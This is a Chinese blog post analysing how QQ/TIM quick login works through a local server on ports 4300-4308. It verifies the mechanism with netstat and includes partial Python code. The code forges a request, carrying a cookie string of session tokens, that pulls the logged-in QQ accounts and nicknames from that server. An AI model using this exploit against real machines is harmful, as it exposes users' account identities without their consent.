协议验证

QQ快速登录协议是本机登录了QQ的情况下可以方便的快速登录各种网页,包括QQ空间等。但是QQ的这个快捷登录功能又是如何实现的呢,毕竟浏览器上的代码没有权限和计算机上的其他应用进行交互。今天在看吾爱破解论坛的时候看到这样一篇帖子激起了我的兴趣。帖子链接:https://www.52pojie.cn/thread-591949-1-1.html
按照帖子的说法,QQ的快捷登录是通过在本地建立一个服务器,然后使浏览器访问本地服务器进行实现的。
帖子对QQ的快速登录协议做了一个很详尽的分析,但是帖子是2017年发表的,现如今是否可用值得验证。下为验证过程:
windows平台,使用命令:

netstat -anto
部分数据:TCP    127.0.0.1:4300         0.0.0.0:0              LISTENING       15100    InHostTCP    127.0.0.1:4301         0.0.0.0:0              LISTENING       15100    InHost

可以看到,当启动了tim或qq后,在4300-4308端口中确实有被占用。
使用命令:

tasklist|findstr "15100
TIM.exe                      15100 Console                    1    184,820 K

可以看到,现在快捷登录的实现方法依然没有发生改变。

协议利用

利用python中提供的urllib2库,对漏洞进行利用,代码简单只有几行。(此处只提供部分利用方式,不提供更多的利用方式,以防部分网站也利用该协议)

port=['4300','4301','4302','4303','4304','4305','4306','4307','4308']#建立端口列表,用于遍历访问
headers={'Accept':'*/*','Accept-Encoding':'gzip, deflate, br','Accept-Language':'zh-CN,zh;q=0.9','Connection':'keep-alive','Cookie':'RK=0I2uxizPSc; LW_sid=q1f4I9v7k5D7R6O5e4S9p7P8V1; LW_uid=q1Z419f7X5k7n6o5A449A708K2; pgv_pvi=5160215552; tvfe_boss_uuid=d2e9e2992c2f6b14; eas_sid=61Z57067j5p3m9G2x7s9S3d2J6; pac_uid=1_123456789; ptcz=18cfc32c59a21faa22f4c97613a01e184bd5ed3838c42b8d0ac4c41b76873fe9; o_cookie=123456789; pgv_pvid=9730655232; pt2gguin=o0123456789; _qpsvr_localtk=1527494364831; pgv_si=s3689689088; pgv_info=ssid=s250026112; confirmuin=0; ptdrvs=gzHJNsKwyLge2eJpGUpPEsyTJs02UlEErMI1rTCOTl8_; ptvfsession=99a88037b2b433ab61922b20b970bb64c5ea90bc19cb04c8cbe0ef5fbbbb91efef5eefbb321ef3775d04b1301e840b1fce347b7eea0d121a; ptisp=ctc;ETK=; skey=@k8jlvoMlF; ptnick_123456789=e5ad99e98791e58589; _qz_referrer=i.qq.com; pt_login_sig=rJ2-e-RdO-U1BKb64PgKp1WbCqOtwdxctdpenMQXMnGLxG2ZrAUisGboQlV5rlOf; pt_clientip=ca667d47e5b1f515; pt_serverip=86930abf06592ed7; pt_local_token=-1909176059; uikey=b01f2c4333cd59b37cfcca5f8dd2e20f50d17ba13cac145b6ae7d324d3db476a; pt_guid_sig=cf3d82b3651d1715cf4d1fab6d4a32d404e1aea65c3081f6d8ef2fe8e4e4b820; pt_recent_uins=c4ef4c627886a903aec329578da7cdfad8b1ed0642acf27a117548094cbee3f74d00864bf00874333301d1afb3e56d1221590d2a92c5b064; qrsig=qLA88IWo1bVkCs9O-mKn1Dr7sMUXkbnIUxXPOY70n8i5VmsZ0tZsHl9NqXkrj5zF','Host':'localhost.ptlogin2.qq.com:4301','Referer':'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'}#构造一个用于发起链接的伪装headers,用于发起链接
req=urllib2.Request(url='https://localhost.ptlogin2.qq.com:'+port[i]+'/pt_get_uins?callback=ptui_getuins_CB&r=0.39923783252274414&pt_local_tk=-1909176059',headers=headers)
result=urllib2.urlopen(req).read()
#使用urllib2对本地服务器发起访问,请求登录的qq数据

上面的代码执行后,在有QQ登录的情况下,result的返回值为:

var var_sso_uin_list=[{"account":"qq账号","client_type":77313,"face_index":0,"gender":1,"nickname":"qq昵称","uin":"qq账号","uin_flag":323486274}];ptui_getuins_CB(var_sso_uin_list);

因此此方法可以提取当前电脑上登录的所有qq的基本信息。具体的可以执行的代码,可以在我的github上进行下载,下载链接:https://github.com/guanginuestc/qq_protocol

QQ快速登录协议的分析与漏洞利用相关推荐

  1. 某app登录协议逆向分析

    某app登录协议逆向分析 设备 iphone 5s Mac Os app:神奇的字符串57qm5Y2V 本文主要通过frida-trace.fridaHook.lldb动态调试完成破解相应的登录算法, ...

  2. JAVA Spring Security对接QQ快速登录(web应用)

    阅读此文需要对Security有大概的了解,了解其运行流程 security对接QQ互联jssdk快速登录 前端使用的是vue.js 1.首先在QQ互联申请一个应用,得到appid和设置好回调地址 2 ...

  3. 360路由器登录协议的分析和模拟实现

    本文博客地址:http://blog.csdn.net/qq1084283172/article/details/78878057 一.360路由器登录协议分析的工具配置 1. 路由器型号:360路由 ...

  4. PHP实现QQ快速登录的方法

    这篇文章主要为大家详细介绍了PHP实现QQ快速登录的3种方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录 ...

  5. PHP实现QQ快速登录

    前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录写到了一个方法页面[因为有了if做判断], 方法二,三:面向对象             1.先调用登录方法,向 ...

  6. php qq授权_PHP实现QQ快速登录的方法

    前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录写到了一个方法页面[因为有了if做判断], 方法二,三:面向对象 1.先调用登录方法,向腾讯发送请求, 2.腾讯 ...

  7. 漏洞挖掘、漏洞分析和漏洞利用

    漏洞挖掘.漏洞分析和漏洞利用     利用漏洞进行***可以大致分为漏洞挖掘.漏洞分析.漏洞利用三个步骤.这三部分所用的技术有相同之处,比如都需要精通系统底层知识.逆向工程等:同时也有一定的差异. 1 ...

  8. 蓝牙App系列漏洞原理分析与漏洞利用

    蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...

  9. 网站没有备案接入QQ快速登录 QQ互联官网 成功率100%

    鳄鱼君申请QQ互联,为网站接入QQ快捷登录也是废了不少麻烦,为了让大家少走弯路,在这里整理下来给需要的站长朋友们. 网站没有备案接入QQ互联,需要填写申请表格,非常的简单,首先确保你的域名是国际域名, ...

  10. QQ空间登录协议分析:JS篇

    QQ空间是用GET方法 访问链接: "http://ptlogin2.qq.com/login?u=" + QQ号 + "&p=" + 加密 (QQ号, ...

最新文章

  1. 怎样用c语言写超市管理程序,C语言超市收银管理系统实现程序.doc
  2. linux中mount -o remount /home,mount -o remount, rw / 很有用..
  3. C++ 的几个for 循环,范围for语句
  4. 鸿海集团否认郭台铭辞任董事长:只是希望退居二线
  5. Spring Cloud与微服务学习总结(4)——认证鉴权与API权限控制在微服务架构中的设计与实现(二)
  6. .net mvc 导出excel表格
  7. 前端开发中一些常用技巧总结
  8. html华文行楷的英文,字体英文代码.htm
  9. 《UniBench A Benchmark for Multi-Model Database Management Systems》阅读笔记
  10. 关于瑞星杀毒软件无法完全卸载、自动重装的无奈,与相应的解决办法
  11. Linux怎么把硬盘ex2改为ex4,linux磁盘管理和文件系统创建
  12. 云存储Storj简要原理
  13. Linux安装配置jdk11
  14. 选择 conforming 还是 non-conforming ?
  15. 北斗由“高大上”转为“接地气” 芯片成国内智能手机标配
  16. SpringBoot多环境开发
  17. Only a type can be imported. com.xxx.xxx.XXX resolves to a package 解决方法
  18. Redis缓存击穿,穿透,雪崩等问题
  19. php狼人杀,《狼人杀专业术语》 一秒变成狼圈人!
  20. c语言提供6种关系运算符,C语言提供了的6种关系运算符,它们分别是_____、_____、_____、_____、_____、和_____...

热门文章

  1. 大学 University 2
  2. 印度十大最好电影排行
  3. 数字光栅投影技术——相移轮廓术(PSP)
  4. iphone 计算机的shift键在哪,苹果电脑shift是哪个键 苹果电脑shift是什么键
  5. 生活在压力下不得不读的好书---《此生未完成》读后感
  6. 【随笔】移动端input type|语义与IOS按键
  7. python计算时差
  8. 大数据在人力资源管理当中的应用
  9. Photoshop CS 5 注册方法
  10. 《小岛经济学》读书笔记